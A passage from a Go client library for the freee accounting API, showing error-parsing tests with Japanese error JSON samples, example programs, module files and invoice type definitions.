14 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"取引先「xxxxx」は既に存在します\"]}]}": 2,
15 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"Codeを入力してください。\"]}]}": 2,
16 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"今月アップロードできるファイル数の上限を超えています。ミニマムプラン、もしくはベーシックプランに契約してファイルボックスの枚数制限を解除しましょう。\"]}]}": 2,
17 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"品目「AAAAAAAAAA」と勘定科目「BBBBBBBBBBB」は勘定科目の設定で紐付けされていません。\"]}]}": 2,
18 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"月締めがされています。2021-06-01以降の日付を入力してください。\"]}]}": 2,
19 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"現在選択している会計年度の期首日以前の取引を登録することができません。発生日を期首日以降にするか、年度締めを巻き戻してください。\"]}]}": 2,
20 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"Details 存在しない tag_id が含まれています。\"]}]}": 2,
21 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"すでに同じ名前の項目 が存在しています。\"]}]}": 2,
22 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"取引の承認状態を確認してください。\"]}]}": 2,
23 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"貸借が一致していません。\",\"貸借が一致していません。\",\"決済に明細が登録されている取引は金額を変更することができません。変更する場合は、該当の明細の取引登録を解除してください\",\"振込が成功している取引の金額、取引先は変更できません。新しい取引を作成してください。\",\"取引単位は不正な値です。\"]}]}": 6,
24 | "{\"status_code\":401,\"errors\":[{\"type\":\"status\",\"messages\":[\"アクセス権限がありません。\",\"company_admin\",\"api/v1/segment_tags\",\"index_division_3\",\"このAPIにアクセスしたい場合、事業所の管理者にご確認ください。\"],\"codes\":[\"user_do_not_have_permission\"]}]}": 5,
25 | "{\"message\": \"ログインをして下さい\",\"code\": \"invalid_access_token\"}": 1,
26 | "{\"messages\":[\"部門名はすでに存在します。\"]}": 1,
27 | "{\"aaaaaa\":12345}": 0,
28 | "{}": 0,
29 | }
30 |
31 | var testInvalidJsonData = []string{
32 | "", // brank
33 | "aaaaaaaa", // jsonではない
34 | "{\"error_description\":12345}", // error_descriptionにエラー文字列が入っていない
35 | "{\"errors\":\"エラーです\"}", // errorsが配列ではなくエラー文字列が入っている
36 | }
37 |
38 | func TestExtractFreeeErrorMessage(t *testing.T) {
39 | t.Parallel()
40 | i := 0
41 | for data, num := range testJsonData {
42 | i := i
43 | data := data
44 | num := num
45 | t.Run(fmt.Sprintf("%d", i), func(t *testing.T) {
46 | t.Parallel()
47 | messages, err := ExtractFreeeErrorMessage(data)
48 |
49 | if err != nil {
50 | t.Fatal(err)
51 | }
52 | if num != len(messages) {
53 | t.Fatalf("unmatch message nums : %d, %d", num, len(messages))
54 | }
55 | t.Logf("message len = %d\n", len(messages))
56 | })
57 | i++
58 | }
59 | }
60 |
61 | func TestExtractFreeeInvalidErrorMessage(t *testing.T) {
62 | t.Parallel()
63 | for i, data := range testInvalidJsonData {
64 | i := i
65 | data := data
66 | t.Run(fmt.Sprintf("%d", i), func(t *testing.T) {
67 | t.Parallel()
68 | messages, err := ExtractFreeeErrorMessage(data)
69 |
70 | if err == nil {
71 | t.Fatal("not error")
72 | }
73 | if messages != nil {
74 | t.Fatal("valid parsed message")
75 | }
76 | t.Logf("error messages: %s\n", err.Error())
77 | })
78 | }
79 | }
80 |
81 | func TestErrorMessages(t *testing.T) {
82 | i := 0
83 | t.Parallel()
84 | for data, num := range testJsonData {
85 | i := i
86 | data := data
87 | num := num
88 | t.Run(fmt.Sprintf("%d", i), func(t *testing.T) {
89 | t.Parallel()
90 | err := &Error{
91 | StatusCode: 400,
92 | RawError: data,
93 | IsAuthorizationRequired: false,
94 | }
95 | messages := err.Messages()
96 | if num != len(messages) {
97 | t.Fatalf("unmatch message nums : %d, %d", num, len(messages))
98 | }
99 | t.Logf("message len = %d\n", len(messages))
100 | })
101 | i++
102 | }
103 | }
104 |
105 | func TestInvalidErrorMessages(t *testing.T) {
106 | t.Parallel()
107 | for i, data := range testInvalidJsonData {
108 | i := i
109 | data := data
110 | t.Run(fmt.Sprintf("%d", i), func(t *testing.T) {
111 | t.Parallel()
112 | err := &Error{
113 | StatusCode: 400,
114 | RawError: data,
115 | IsAuthorizationRequired: false,
116 | }
117 | messages := err.Messages()
118 | if len(messages) > 0 {
119 | t.Fatalf("unmatch message nums : %d", len(messages))
120 | }
121 | t.Logf("message len = %d\n", len(messages))
122 | })
123 | }
124 | }
125 |
--------------------------------------------------------------------------------
/examples/errors/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "log"
7 |
8 | "github.com/quixoticround/freee-go"
9 | "golang.org/x/oauth2"
10 | )
11 |
12 | func main() {
13 | clientID := "CLIENT_ID"
14 | clientSecret := "CLIENT_SECRET"
15 | redirectURL := "REDIRECT_URL"
16 | conf := freee.NewConfig(clientID, clientSecret, redirectURL)
17 |
18 | token := &oauth2.Token{
19 | AccessToken: "ACCESS_TOKEN",
20 | RefreshToken: "REFRESH_TOKEN",
21 | }
22 | client := freee.NewClient(conf)
23 | ctx := context.Background()
24 | me, token, err := client.GetUsersMe(ctx, token, freee.GetUsersMeOpts{})
25 | if err != nil {
26 | if v, ok := err.(*freee.Error); ok {
27 | fmt.Printf("StatusCode: %v\n", v.StatusCode)
28 | fmt.Printf("IsAuthorizationRequired: %v\n", v.IsAuthorizationRequired)
29 | }
30 | log.Fatal(err)
31 | }
32 |
33 | fmt.Printf("%#v\n", me)
34 | fmt.Printf("%#v\n", token)
35 | }
36 |
--------------------------------------------------------------------------------
/examples/file/invoice.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/quixoticround/freee-go/4db94c200a26d08946c1767d3cf359445b078556/examples/file/invoice.pdf
--------------------------------------------------------------------------------
/examples/file/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "io/ioutil"
7 | "log"
8 | "os"
9 | "path/filepath"
10 | "strconv"
11 |
12 | "github.com/quixoticround/freee-go"
13 | "golang.org/x/oauth2"
14 | )
15 |
16 | func main() {
17 | clientID := os.Getenv("CLIENT_ID")
18 | clientSecret := os.Getenv("CLIENT_SECRET")
19 | redirectURL := os.Getenv("REDIRECT_URL")
20 | conf := freee.NewConfig(clientID, clientSecret, redirectURL)
21 | conf.Log = log.New(os.Stdout, "", log.LstdFlags)
22 | client := freee.NewClient(conf)
23 |
24 | ctx := context.Background()
25 | token := &oauth2.Token{
26 | AccessToken: os.Getenv("ACCESS_TOKEN"),
27 | RefreshToken: os.Getenv("REFRESH_TOKEN"),
28 | }
29 |
30 | companyID, err := strconv.Atoi(os.Getenv("COMPANY_ID"))
31 | if err != nil {
32 | log.Fatal(err)
33 | }
34 | file := os.Getenv("FILE")
35 | f, err := ioutil.ReadFile(file)
36 | if err != nil {
37 | log.Fatal(err)
38 | }
39 | params := freee.CreateReceiptParams{
40 | CompanyID: int64(companyID),
41 | Receipt: f,
42 | }
43 | resp, token, err := client.CreateReceipt(ctx, token, params, filepath.Base(file))
44 | if err != nil {
45 | log.Fatal(err)
46 | }
47 |
48 | fmt.Printf("%#v\n", resp)
49 | fmt.Printf("%#v\n", token)
50 | }
51 |
--------------------------------------------------------------------------------
/examples/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "log"
7 | "os"
8 |
9 | "github.com/quixoticround/freee-go"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | func main() {
14 | clientID := os.Getenv("CLIENT_ID")
15 | clientSecret := os.Getenv("CLIENT_SECRET")
16 | redirectURL := os.Getenv("REDIRECT_URL")
17 | conf := freee.NewConfig(clientID, clientSecret, redirectURL)
18 | conf.Log = log.New(os.Stdout, "", log.LstdFlags)
19 | client := freee.NewClient(conf)
20 |
21 | ctx := context.Background()
22 | token := &oauth2.Token{
23 | AccessToken: os.Getenv("ACCESS_TOKEN"),
24 | RefreshToken: os.Getenv("REFRESH_TOKEN"),
25 | }
26 | me, token, err := client.GetUsersMe(ctx, token, freee.GetUsersMeOpts{})
27 | if err != nil {
28 | log.Fatal(err)
29 | }
30 |
31 | fmt.Printf("%#v\n", me)
32 | fmt.Printf("%#v\n", token)
33 | }
34 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/quixoticround/freee-go
2 |
3 | go 1.15
4 |
5 | require (
6 | github.com/google/go-querystring v1.1.0
7 | golang.org/x/oauth2 v0.7.0
8 | )
9 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k=
2 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
3 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
4 | github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
5 | github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
6 | github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
7 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
8 | github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
9 | github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
10 | github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
11 | github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
12 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
13 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
14 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
15 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
16 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
17 | golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
18 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
19 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
20 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
21 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
22 | golang.org/x/net v0.9.0 h1:aWJ/m6xSmxWBx+V0XRHTlrYrPG56jKsLdTFmsSsCzOM=
23 | golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
24 | golang.org/x/oauth2 v0.7.0 h1:qe6s0zUXlPX80/dITx3440hWZ7GwMwgDDyrSGTPJG/g=
25 | golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4=
26 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
27 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
28 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
29 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
30 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
31 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
32 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
33 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
34 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
35 | golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
36 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
37 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
38 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
39 | golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
40 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
41 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
42 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
43 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
44 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
45 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
46 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
47 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
48 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
49 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
50 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
51 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
52 | google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
53 | google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
54 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
55 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
56 | google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
57 | google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
58 |
--------------------------------------------------------------------------------
/invoices.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "encoding/json"
6 | "fmt"
7 | "net/http"
8 | "path"
9 |
10 | "github.com/google/go-querystring/query"
11 | "golang.org/x/oauth2"
12 | )
13 |
14 | const (
15 | APIPathInvoices = "invoices"
16 |
17 | InvoiceStatusDraft = "draft" // 下書き
18 | InvoiceStatusApplying = "applying" // 申請中
19 | InvoiceStatusRemanded = "remanded" // 差し戻し
20 | InvoiceStatusRejected = "rejected" // 却下
21 | InvoiceStatusApproved = "approved" // 承認済み
22 | InvoiceStatusUnsubmitted = "unsubmitted" // 送付待ち
23 | InvoiceStatusSubmitted = "submitted" // 送付済み
24 |
25 | PaymentStatusNone = ""
26 | PaymentStatusUnsettled = "unsettled" // 入金待ち
27 | PaymentStatusSettled = "settled" // 入金済み
28 |
29 | PostingStatusNone = ""
30 | PostingStatusUnrequested = "unrequested" // リクエスト前
31 | PostingStatusPreviewRegistered = "preview_registered" // プレビュー登録
32 | PostingStatusPreviewFailed = "preview_failed" // プレビュー登録失敗
33 | PostingStatusOrdered = "ordered" // 注文中
34 | PostingStatusOrderFailed = "order_failed" // 注文失敗
35 | PostingStatusPrinting = "printing" // 印刷中
36 | PostingStatusCanceled = "canceled" // キャンセル
37 | PostingStatusPosted = "posted" // 投函済み
38 |
39 | PaymentTypeTransfer = "transfer" // 振込
40 | PaymentTypeDirectDebit = "direct_debit" // 引き落とし
41 |
42 | InvoiceLayoutDefaultClassic = "default_classic" // レイアウト1/クラシック (デフォルト)
43 | InvoiceLayoutStandardClassic = "standard_classic" // レイアウト2/クラシック
44 | InvoiceLayoutEnvelopeClassic = "envelope_classic" // 封筒1/クラシック
45 | InvoiceLayoutCarriedForwardStandardClassic = "carried_forward_standard_classic" // レイアウト3(繰越金額欄あり)/クラシック
46 | InvoiceLayoutCarriedForwardEnvelopeClassic = "carried_forward_envelope_classic" // 封筒2(繰越金額欄あり)/クラシック
47 | InvoiceLayoutDefaultModern = "default_modern" // レイアウト1/モダン
48 | InvoiceLayoutStandardModern = "standard_modern" // レイアウト2/モダン
49 | InvoiceLayoutEnvelopeModern = "envelope_modern" // 封筒/モダン
50 |
51 | TaxEntryMethodInclusive = "inclusive" // 内税
52 | TaxEntryMethodExclusive = "exclusive" // 外税
53 |
54 | InvoiceContentTypeNormal = "normal"
55 | InvoiceContentTypeDiscount = "discount"
56 | InvoiceContentTypeText = "text"
57 |
58 | UseVirtualTransferAccountNotUse = "not_use" // 利用しない
59 | UseVirtualTransferAccountUse = "use" // 利用する
60 | )
61 |
62 | type InvoicesResponse struct {
63 | Invoices []Invoice `json:"invoices"`
64 | }
65 |
66 | type InvoiceResponse struct {
67 | Invoice Invoice `json:"invoice"`
68 | }
69 |
70 | type GetInvoiceOpts struct {
71 | // 事業所ID
72 | CompanyID int64 `url:"company_id"`
73 | // 取引先IDで絞込
74 | PartnerID int64 `url:"partner_id,omitempty"`
75 | // 取引先コードで絞込
76 | PartnerCode string `url:"partner_code,omitempty"`
77 | // 請求日の開始日(yyyy-mm-dd)
78 | StartIssueDate string `url:"start_issue_date,omitempty"`
79 | // 請求日の終了日(yyyy-mm-dd)
80 | EndIssueDate string `url:"end_issue_date,omitempty"`
81 | // 期日の開始日(yyyy-mm-dd)
82 | StartDueDate string `url:"start_due_date,omitempty"`
83 | // 期日の終了日(yyyy-mm-dd)
84 | EndDueDate string `url:"end_due_date,omitempty"`
85 | // 請求書番号
86 | InvoiceNumber string `url:"invoice_number,omitempty"`
87 | // 概要
88 | Description string `url:"description,omitempty"`
89 | // 請求書ステータス (draft: 下書き, applying: 申請中, remanded: 差し戻し, rejected: 却下, approved: 承認済み, unsubmitted: 送付待ち, submitted: 送付済み)
90 | InvoiceStatus string `url:"invoice_status,omitempty"`
91 | // 入金ステータス (unsettled: 入金待ち, settled: 入金済み)
92 | PaymentStatus string `url:"payment_status,omitempty"`
93 | // 取得レコードのオフセット (デフォルト: 0)
94 | Offset int64 `url:"offset,omitempty"`
95 | // 取得レコードの件数 (デフォルト: 20, 最大: 100)
96 | Limit int64 `url:"limit,omitempty"`
97 | }
98 |
99 | type Invoice struct {
100 | // 請求書ID
101 | ID int64 `json:"id"`
102 | // 事業所ID
103 | CompanyID int64 `json:"company_id"`
104 | // 請求日 (yyyy-mm-dd)
105 | IssueDate string `json:"issue_date"`
106 | // 取引先ID
107 | PartnerID int64 `json:"partner_id"`
108 | // 取引先コード
109 | PartnerCode *string `json:"partner_code,omitempty"`
110 | // 請求書番号
111 | InvoiceNumber string `json:"invoice_number"`
112 | // タイトル
113 | Title *string `json:"title,omitempty"`
114 | // 期日 (yyyy-mm-dd)
115 | DueDate *string `json:"due_date,omitempty"`
116 | // 合計金額
117 | TotalAmount int64 `json:"total_amount"`
118 | // 合計税額
119 | TotalVat int64 `json:"total_vat"`
120 | // 小計
121 | SubTotal int64 `json:"sub_total"`
122 | // 売上計上日
123 | BookingDate *string `json:"booking_date,omitempty"`
124 | // 概要
125 | Description *string `json:"description,omitempty"`
126 | // 請求書ステータス (draft: 下書き, applying: 申請中, remanded: 差し戻し, rejected: 却下, approved: 承認済み, submitted: 送付済み, unsubmitted: 請求書の承認フローが無効の場合のみ、unsubmitted(送付待ち)の値をとります)
127 | InvoiceStatus string `json:"invoice_status"`
128 | // 入金ステータス (unsettled: 入金待ち, settled: 入金済み)
129 | PaymentStatus string `json:"payment_status"`
130 | // 入金日 (yyyy-mm-dd)
131 | PaymentDate *string `json:"payment_date,omitempty"`
132 | // Web共有日時(最新)
133 | WebPublishedAt *string `json:"web_published_at,omitempty"`
134 | // Web共有ダウンロード日時(最新)
135 | WebDownloadedAt *string `json:"web_downloaded_at,omitempty"`
136 | // Web共有取引先確認日時(最新)
137 | WebConfirmedAt *string `json:"web_confirmed_at,omitempty"`
138 | // メール送信日時(最新)
139 | MailSentAt *string `json:"mail_sent_at,omitempty"`
140 | // 郵送ステータス(unrequested: リクエスト前, preview_registered: プレビュー登録, preview_failed: プレビュー登録失敗, ordered: 注文中, order_failed: 注文失敗, printing: 印刷中, canceled: キャンセル, posted: 投函済み)
141 | PostingStatus string `json:"posting_status"`
142 | // 取引先名
143 | PartnerName *string `json:"partner_name,omitempty"`
144 | // 請求書に表示する取引先名
145 | PartnerDisplayName *string `json:"partner_display_name,omitempty"`
146 | // 敬称(御中、様、(空白)の3つから選択)
147 | PartnerTitle *string `json:"partner_title,omitempty"`
148 | // 取引先郵便番号
149 | PartnerZipcode *string `json:"partner_zipcode,omitempty"`
150 | // 取引先都道府県コード(-1: 設定しない、0:北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄
151 | PartnerPrefectureCode *int64 `json:"partner_prefecture_code,omitempty"`
152 | // 取引先都道府県
153 | PartnerPrefectureName *string `json:"partner_prefecture_name,omitempty"`
154 | // 取引先市区町村・番地
155 | PartnerAddress1 *string `json:"partner_address1,omitempty"`
156 | // 取引先建物名・部屋番号など
157 | PartnerAddress2 *string `json:"partner_address2,omitempty"`
158 | // 取引先担当者名
159 | PartnerContactInfo *string `json:"partner_contact_info,omitempty"`
160 | // 事業所名
161 | CompanyName string `json:"company_name"`
162 | // 郵便番号
163 | CompanyZipcode *string `json:"company_zipcode,omitempty"`
164 | // 都道府県コード(-1: 設定しない、0:北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄
165 | CompanyPrefectureCode *int64 `json:"company_prefecture_code,omitempty"`
166 | // 都道府県
167 | CompanyPrefectureName *string `json:"company_prefecture_name,omitempty"`
168 | // 市区町村・番地
169 | CompanyAddress1 *string `json:"company_address1,omitempty"`
170 | // 建物名・部屋番号など
171 | CompanyAddress2 *string `json:"company_address2,omitempty"`
172 | // 事業所担当者名
173 | CompanyContactInfo *string `json:"company_contact_info,omitempty"`
174 | // 支払方法 (振込: transfer, 引き落とし: direct_debit)
175 | PaymentType string `json:"payment_type"`
176 | // 支払口座
177 | PaymentBankInfo *string `json:"payment_bank_info,omitempty"`
178 | // メッセージ
179 | Message *string `json:"message,omitempty"`
180 | // 備考
181 | Notes *string `json:"notes,omitempty"`
182 | // 請求書レイアウト
183 | // - default_classic - レイアウト1/クラシック (デフォルト)
184 | // - standard_classic - レイアウト2/クラシック
185 | // - envelope_classic - 封筒1/クラシック
186 | // - carried_forward_standard_classic - レイアウト3(繰越金額欄あり)/クラシック
187 | // - carried_forward_envelope_classic - 封筒2(繰越金額欄あり)/クラシック
188 | // - default_modern - レイアウト1/モダン
189 | // - standard_modern - レイアウト2/モダン
190 | // - envelope_modern - 封筒/モダン
191 | InvoiceLayout string `json:"invoice_layout"`
192 | // 請求書の消費税計算方法(inclusive: 内税, exclusive: 外税)
193 | TaxEntryMethod string `json:"tax_entry_method"`
194 | // 取引ID (invoice_statusがsubmitted, unsubmittedの時IDが表示されます)
195 | DealID *int64 `json:"deal_id,omitempty"`
196 | // 請求内容
197 | InvoiceContents []InvoiceContent `json:"invoice_contents"`
198 | TotalAmountPerVatRate struct {
199 | // 税率5%の税込み金額合計
200 | Vat5 int64 `json:"vat_5"`
201 | // 税率8%の税込み金額合計
202 | Vat8 int64 `json:"vat_8"`
203 | // 軽減税率8%の税込み金額合計
204 | ReducedVat8 int64 `json:"reduced_vat_8"`
205 | // 税率10%の税込み金額合計
206 | Vat10 int64 `json:"vat_10"`
207 | } `json:"total_amount_per_vat_rate"`
208 | // 関連する見積書ID(配列)
209 | // 下記で作成したものが該当します。
210 | //
211 | // [見積書・納品書を納品書・請求書に変換する](https://support.freee.co.jp/hc/ja/articles/203318410#1-2)
212 | // [複数の見積書・納品書から合算請求書を作成する](https://support.freee.co.jp/hc/ja/articles/209076226)
213 | RelatedQuotationIDs []int64 `json:"related_quotation_ids,omitempty"`
214 | }
215 |
216 | type InvoiceContent struct {
217 | // 請求内容ID
218 | ID int64 `json:"id"`
219 | // 順序
220 | Order *int64 `json:"order,omitempty"`
221 | // 行の種類
222 | Type string `json:"type"`
223 | // 数量
224 | Qty json.Number `json:"qty"`
225 | // 単位
226 | Unit *string `json:"unit,omitempty"`
227 | // 単価
228 | UnitPrice json.Number `json:"unit_price"`
229 | // 内税/外税の判別とamountの税込み、税抜きについて
230 | //
231 | // - tax_entry_methodがexclusive (外税)の場合
232 | // - amount: 消費税抜きの金額
233 | // - vat: 消費税の金額
234 | // - tax_entry_methodがinclusive (内税)の場合
235 | // - amount: 消費税込みの金額
236 | // - vat: 消費税の金額
237 | Amount int64 `json:"amount"`
238 | // 消費税額
239 | Vat int64 `json:"vat"`
240 | // 軽減税率税区分(true: 対象、false: 対象外)
241 | ReducedVat bool `json:"reduced_vat"`
242 | // 備考
243 | Description *string `json:"description,omitempty"`
244 | // 勘定科目ID
